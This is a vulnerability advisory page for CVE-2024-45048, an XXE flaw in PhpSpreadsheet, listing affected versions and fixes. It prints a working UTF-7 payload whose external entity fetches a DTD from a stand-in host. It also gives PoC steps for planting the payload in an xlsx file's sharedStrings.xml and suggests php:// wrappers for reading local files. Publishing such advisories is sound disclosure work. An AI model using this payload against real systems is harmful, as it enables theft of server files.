CVE-2024-45048: XXE in PHPSpreadsheet encoding is returned
Summary Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) Details Check $pattern = '/encoding="(.?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this: If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
Published Aug 29, 2024 · Updated Mar 6, 2025
Affected packages
phpoffice/phpspreadsheet
- Ecosystem
- Composer (PHP)
- Affected
- < 1.29.1
- Fixed in
- 1.29.1
- Check
composer show phpoffice/phpspreadsheet
phpoffice/phpspreadsheet
- Ecosystem
- Composer (PHP)
- Affected
- >= 2.2.0, < 2.2.1
- Fixed in
- 2.2.1
- Check
composer show phpoffice/phpspreadsheet
phpoffice/phpspreadsheet
- Ecosystem
- Composer (PHP)
- Affected
- >= 2.0.0, < 2.1.1
- Fixed in
- 2.1.1
- Check
composer show phpoffice/phpspreadsheet
phpoffice/phpexcel
- Ecosystem
- Composer (PHP)
- Affected
- <= 1.8.2
- Fixed in
- No patched version yet
- Check
composer show phpoffice/phpexcel
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Details
Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
PoC
- Create simple xlsx file
- Rename xlsx to zip
- Go to the zip and open the
xl/sharedStrings.xmlfile in edit mode. - Replace
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>- Save
sharedStrings.xmlfile and rename zip back to xlsx. - Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");- You will receive the request to your
http://%webhook%/file.dtd - Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.
Impact
Read local files lfi
Credited to bytehope, chinh2597, cavias.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-108357
PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service
high8.8Oct 27, 2026CVE-2026-108358
PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service
high8.8Oct 27, 2026CVE-2026-108359
PhpSpreadsheet ODS Reader: Unbounded number-rows-repeated → CPU & Memory Exhaustion (DoS)
high8.7Oct 27, 2026CVE-2026-108360
PhpSpreadsheet: SSRF whitelist bypass via unre-validated HTTP redirect in Drawing::setPath external image loading
medium6.4Oct 27, 2026CVE-2026-59931
PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
high7.7Jul 23, 2026CVE-2026-59932
PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
high7.5Jul 23, 2026
